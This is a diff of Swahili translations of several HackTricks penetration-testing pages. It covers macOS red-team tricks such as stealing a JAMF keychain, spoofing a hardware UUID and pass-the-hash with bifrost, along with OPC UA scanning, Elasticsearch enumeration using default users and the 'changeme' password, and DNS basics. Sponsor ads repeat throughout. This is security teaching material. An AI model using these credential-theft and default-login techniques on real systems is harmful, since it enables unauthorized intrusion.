* **JAMF keychain** kutoka: `/Library/Application\ Support/Jamf/JAMF.keychain` ambayo ina cheti cha kifaa
|
||||
|
||||
Kwa habari hii, **unda VM** yenye **stolen** Hardware **UUID** na **SIP disabled**, weka **JAMF keychain,** **hook** agent wa Jamf na uibe habari zake.
|
||||
Kwa habari hii, **unda VM** yenye **stolen** Hardware **UUID** na **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** na uibe habari zake.
|
||||
|
||||
#### Kuiba Siri
|
||||
|
||||
|
@ -192,7 +200,7 @@ Pata nywila kwa kutumia:
|
|||
```bash
|
||||
bifrost --action askhash --username [name] --password [password] --domain [domain]
|
||||
```
|
||||
Inawezekana kufikia nenosiri la **`Computer$`** ndani ya mfumo wa keychain.
|
||||
Ni inawezekana kufikia **`Computer$`** nywila ndani ya mfumo wa keychain.
|
||||
|
||||
### Over-Pass-The-Hash
|
||||
|
||||
|
@ -217,9 +225,9 @@ Kwa tiketi za huduma zilizopatikana, inawezekana kujaribu kufikia sehemu katika
|
|||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Kufikia Keychain
|
||||
## Kupata Ufikiaji wa Keychain
|
||||
|
||||
Keychain ina uwezekano mkubwa kuwa na taarifa nyeti ambazo ikiwa zitafikiwa bila kuunda kichocheo zinaweza kusaidia kuendeleza zoezi la red team:
|
||||
Keychain ina uwezekano mkubwa wa kuwa na taarifa nyeti ambazo ikiwa zitafikiwa bila kuunda kichocheo zinaweza kusaidia kuendeleza zoezi la red team:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -227,17 +235,17 @@ Keychain ina uwezekano mkubwa kuwa na taarifa nyeti ambazo ikiwa zitafikiwa bila
|
|||
|
||||
## Huduma za Nje
|
||||
|
||||
MacOS Red Teaming ni tofauti na Red Teaming ya kawaida ya Windows kwani kawaida **MacOS imeunganishwa na majukwaa kadhaa ya nje moja kwa moja**. Mipangilio ya kawaida ya MacOS ni kufikia kompyuta kwa kutumia **OneLogin credentials zilizoratibiwa, na kufikia huduma kadhaa za nje** (kama github, aws...) kupitia OneLogin.
|
||||
MacOS Red Teaming ni tofauti na Red Teaming ya kawaida ya Windows kwani kawaida **MacOS imeunganishwa moja kwa moja na majukwaa kadhaa ya nje**. Mipangilio ya kawaida ya MacOS ni kupata kompyuta kwa kutumia **OneLogin credentials zilizoratibiwa, na kufikia huduma kadhaa za nje** (kama github, aws...) kupitia OneLogin.
|
||||
|
||||
## Mbinu Mbalimbali za Red Team
|
||||
|
||||
### Safari
|
||||
|
||||
Wakati faili inapopakuliwa katika Safari, ikiwa ni faili "salama", itafunguliwa **automatically**. Hivyo kwa mfano, ikiwa **unapakua zip**, itafunguliwa moja kwa moja:
|
||||
Wakati faili inapopakuliwa katika Safari, ikiwa ni faili "salama", itafunguliwa **kiotomatiki**. Hivyo kwa mfano, ikiwa **unapakua zip**, itafunguliwa kiotomatiki:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
|
@ -245,17 +253,25 @@ Wakati faili inapopakuliwa katika Safari, ikiwa ni faili "salama", itafunguliwa
|
|||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,11 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**OPC UA**, inamaanisha **Open Platform Communications Unified Access**, ni protokali muhimu ya chanzo wazi inayotumika katika sekta mbalimbali kama vile Utengenezaji, Nishati, Anga, na Ulinzi kwa ajili ya kubadilishana data na kudhibiti vifaa. Inaruhusu vifaa vya wauzaji tofauti kuwasiliana, hasa na PLCs.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
Mipangilio yake inaruhusu hatua kali za usalama, lakini mara nyingi, ili kuendana na vifaa vya zamani, hizi hupunguzwa, na kuweka mifumo katika hatari. Zaidi ya hayo, kupata huduma za OPC UA kunaweza kuwa ngumu kwani skana za mtandao zinaweza kutoweza kuzitambua ikiwa ziko kwenye bandari zisizo za kawaida.
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Taarifa za Msingi
|
||||
|
||||
**OPC UA**, inasimama kwa **Open Platform Communications Unified Access**, ni protokali muhimu ya chanzo wazi inayotumika katika sekta mbalimbali kama Uzalishaji, Nishati, Anga, na Ulinzi kwa ajili ya kubadilishana data na kudhibiti vifaa. Inaruhusu vifaa vya wauzaji tofauti kuwasiliana, hasa na PLCs.
|
||||
|
||||
Mipangilio yake inaruhusu hatua kali za usalama, lakini mara nyingi, ili kuendana na vifaa vya zamani, hizi hupunguzwa, na kuweka mifumo katika hatari. Aidha, kupata huduma za OPC UA kunaweza kuwa ngumu kwani skana za mtandao zinaweza kutoweza kuzitambua ikiwa ziko kwenye bandari zisizo za kawaida.
|
||||
|
||||
**Bandari ya kawaida:** 4840
|
||||
```text
|
||||
|
@ -28,7 +36,7 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## Pentesting OPC UA
|
||||
|
||||
Ili kufichua masuala ya usalama katika seva za OPC UA, scan na [OpalOPC](https://opalopc.com/).
|
||||
Ili kufichua masuala ya usalama katika seva za OPC UA, fanya skana nayo [OpalOPC](https://opalopc.com/).
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
|
@ -46,6 +54,14 @@ Ili kupata wazo la kifaa unachofikia, soma thamani za nodi "ServerStatus" katika
|
|||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mara moja inapatikana mipangilio ya tathmini ya udhaifu & upimaji wa penya**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi wapimaji wa penya - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -34,21 +36,23 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & upimaji wa uvamizi**. Endesha upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa uvamizi - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uvamizi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,21 +15,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic information
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Elasticsearch ni **distributed**, **open source** injini ya kutafuta na kuchambua **aina zote za data**. Inajulikana kwa **speed**, **scalability**, na **simple REST APIs**. Imejengwa juu ya Apache Lucene, ilitolewa kwa mara ya kwanza mwaka 2010 na Elasticsearch N.V. (sasa inajulikana kama Elastic). Elasticsearch ni sehemu kuu ya Elastic Stack, mkusanyiko wa zana za open source za kuingiza data, kuongeza thamani, kuhifadhi, kuchambua, na kuonyesha. Stack hii, inayojulikana kama ELK Stack, pia inajumuisha Logstash na Kibana, na sasa ina wakala wa usafirishaji wa data wa mwanga unaoitwa Beats.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
### What is an Elasticsearch index?
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida, wenye athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Taarifa za Msingi
|
||||
|
||||
Elasticsearch ni **distributed**, **open source** injini ya utafutaji na uchambuzi kwa **aina zote za data**. Inajulikana kwa **speed**, **scalability**, na **simple REST APIs**. Imejengwa juu ya Apache Lucene, ilitolewa kwa mara ya kwanza mwaka 2010 na Elasticsearch N.V. (sasa inajulikana kama Elastic). Elasticsearch ni sehemu kuu ya Elastic Stack, mkusanyiko wa zana za open source kwa ajili ya upokeaji wa data, uboreshaji, uhifadhi, uchambuzi, na uonyeshaji. Stack hii, inayojulikana kama ELK Stack, pia inajumuisha Logstash na Kibana, na sasa ina wakala wa usafirishaji wa data wa mwanga unaoitwa Beats.
|
||||
|
||||
### Nini maana ya index ya Elasticsearch?
|
||||
|
||||
**Index** ya Elasticsearch ni mkusanyiko wa **nyaraka zinazohusiana** zilizohifadhiwa kama **JSON**. Kila hati ina **funguo** na **thamani** zao zinazolingana (nyuzi, nambari, booleans, tarehe, orodha, maeneo ya kijiografia, nk.).
|
||||
|
||||
Elasticsearch inatumia muundo wa data wenye ufanisi unaoitwa **inverted index** ili kuwezesha utafutaji wa haraka wa maandiko yote. Index hii inataja kila neno la kipekee katika nyaraka na kutambua nyaraka ambazo kila neno linaonekana.
|
||||
Elasticsearch inatumia muundo wa data mzuri unaoitwa **inverted index** ili kuwezesha utafutaji wa haraka wa maandiko yote. Index hii inataja kila neno la kipekee katika nyaraka na kutambua nyaraka ambazo kila neno linaonekana.
|
||||
|
||||
Wakati wa mchakato wa kuunda index, Elasticsearch inahifadhi nyaraka na kujenga index iliyo kinyume, ikiruhusu utafutaji wa karibu wakati halisi. **Index API** inatumika kuongeza au kuboresha nyaraka za JSON ndani ya index maalum.
|
||||
Wakati wa mchakato wa indexing, Elasticsearch inahifadhi nyaraka na kujenga index iliyo kinyume, ikiruhusu utafutaji wa karibu wakati halisi. **Index API** inatumika kuongeza au kuboresha nyaraka za JSON ndani ya index maalum.
|
||||
|
||||
**Default port**: 9200/tcp
|
||||
**Port ya default**: 9200/tcp
|
||||
|
||||
## Manual Enumeration
|
||||
## Uainishaji wa Mikono
|
||||
|
||||
### Banner
|
||||
|
||||
|
@ -37,13 +45,13 @@ Protokali inayotumika kufikia Elasticsearch ni **HTTP**. Unapofikia kupitia HTTP
|
|||
|
||||
![](<../.gitbook/assets/image (294).png>)
|
||||
|
||||
Ikiwa huoni jibu hilo unapofikia `/` angalia sehemu ifuatayo.
|
||||
Ikiwa huoni jibu hilo ukifungua `/` angalia sehemu ifuatayo.
|
||||
|
||||
### Authentication
|
||||
### Uthibitishaji
|
||||
|
||||
**Kwa default Elasticsearch haina uthibitisho ulioanzishwa**, hivyo kwa default unaweza kufikia kila kitu ndani ya hifadhidata bila kutumia akidi yoyote.
|
||||
**Kwa kawaida Elasticsearch haina uthibitishaji ulioanzishwa**, hivyo kwa kawaida unaweza kufikia kila kitu ndani ya hifadhidata bila kutumia akidi yoyote.
|
||||
|
||||
Unaweza kuthibitisha kuwa uthibitisho umezimwa kwa ombi la:
|
||||
Unaweza kuthibitisha kuwa uthibitishaji umezimwa kwa ombi la:
|
||||
```bash
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
|
||||
|
@ -53,7 +61,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
|||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Hii itamaanisha kwamba uthibitishaji umewekwa na **unahitaji akidi halali** kupata taarifa yoyote kutoka elasticserach. Kisha, unaweza [**kujaribu kuibua nguvu**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (inatumia HTTP basic auth, hivyo chochote kinachoweza BF HTTP basic auth kinaweza kutumika).\
|
||||
Hapa una **orodha ya majina ya watumiaji ya kawaida**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Matoleo ya zamani ya Elasticsearch yana nenosiri la kawaida **changeme** kwa ajili ya mtumiaji huyu.
|
||||
Hapa una **orodha ya majina ya watumiaji ya kawaida**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Matoleo ya zamani ya Elasticsearch yana nenosiri la kawaida **changeme** kwa mtumiaji huyu.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
|
@ -99,7 +107,7 @@ Hapa kuna baadhi ya endpoints ambazo unaweza **kupata kupitia GET** ili **kupata
|
|||
| /\_cat/nodeattrs | | |
|
||||
| /\_cat/nodes | | |
|
||||
|
||||
Hizi endpoints zilichukuliwa [**kutoka kwenye nyaraka**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ambapo unaweza **kupata zaidi**.\
|
||||
Endpoints hizi zilichukuliwa [**kutoka kwenye hati**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ambapo unaweza **kupata zaidi**.\
|
||||
Pia, ukipata `/_cat` jibu litakuwa na `/_cat/*` endpoints zinazoungwa mkono na mfano.
|
||||
|
||||
Katika `/_security/user` (ikiwa uthibitishaji umewezeshwa) unaweza kuona ni nani mtumiaji mwenye jukumu `superuser`.
|
||||
|
@ -180,6 +188,14 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
* `port:9200 elasticsearch`
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -189,7 +205,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & upimaji wa kupenya**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
|
||||
**Mfumo wa Jina la Kikoa (DNS)** unatumika kama directory ya mtandao, ikiruhusu watumiaji kufikia tovuti kupitia **majina ya kikoa ambayo ni rahisi kukumbuka** kama google.com au facebook.com, badala ya anwani za nambari za Internet Protocol (IP). Kwa kutafsiri majina ya kikoa kuwa anwani za IP, DNS inahakikisha kwamba vivinjari vya wavuti vinaweza kupakia rasilimali za mtandao haraka, na kurahisisha jinsi tunavyotembea katika ulimwengu wa mtandao.
|
||||
**Mfumo wa Jina la Kikoa (DNS)** unatumika kama directory ya mtandao, ukiruhusu watumiaji kufikia tovuti kupitia **majina ya kikoa ambayo ni rahisi kukumbuka** kama google.com au facebook.com, badala ya anwani za Internet Protocol (IP) za nambari. Kwa kutafsiri majina ya kikoa kuwa anwani za IP, DNS inahakikisha kwamba vivinjari vya wavuti vinaweza kupakia rasilimali za mtandao haraka, ikirahisisha jinsi tunavyotembea katika ulimwengu wa mtandao.
|
||||
|
||||
**Bandari ya kawaida:** 53
|
||||
```
|
||||
|
@ -34,12 +36,12 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Different DNS Servers
|
||||
|
||||
* **DNS Root Servers**: Hizi ziko juu ya hierarchi ya DNS, zikisimamia maeneo ya juu na kuingilia tu ikiwa seva za chini hazijajibu. Shirika la Mtandao la Majina na Nambari (**ICANN**) linaangalia uendeshaji wao, ikiwa na idadi ya kimataifa ya 13.
|
||||
* **DNS Root Servers**: Hizi ziko juu ya hierarchi ya DNS, zikisimamia majina ya juu na kuingilia kati tu ikiwa seva za chini hazijajibu. Shirika la Mtandao la Majina na Nambari (**ICANN**) linaangalia uendeshaji wao, ikiwa na idadi ya kimataifa ya 13.
|
||||
* **Authoritative Nameservers**: Seva hizi zina neno la mwisho kwa maswali katika maeneo yao yaliyotengwa, zikitoa majibu ya uhakika. Ikiwa hawawezi kutoa jibu, swali linaelekezwa kwa seva za mzizi.
|
||||
* **Non-authoritative Nameservers**: Zikiwa hazina umiliki juu ya maeneo ya DNS, seva hizi zinakusanya taarifa za eneo kupitia maswali kwa seva nyingine.
|
||||
* **Non-authoritative Nameservers**: Zikiwa hazina umiliki juu ya maeneo ya DNS, seva hizi zinakusanya taarifa za kikoa kupitia maswali kwa seva nyingine.
|
||||
* **Caching DNS Server**: Aina hii ya seva inakumbuka majibu ya maswali ya awali kwa muda fulani ili kuharakisha nyakati za majibu kwa maombi ya baadaye, huku muda wa cache ukiongozwa na seva yenye mamlaka.
|
||||
* **Forwarding Server**: Ikihudumu katika jukumu rahisi, seva za kupeleka zinapeleka maswali kwa seva nyingine.
|
||||
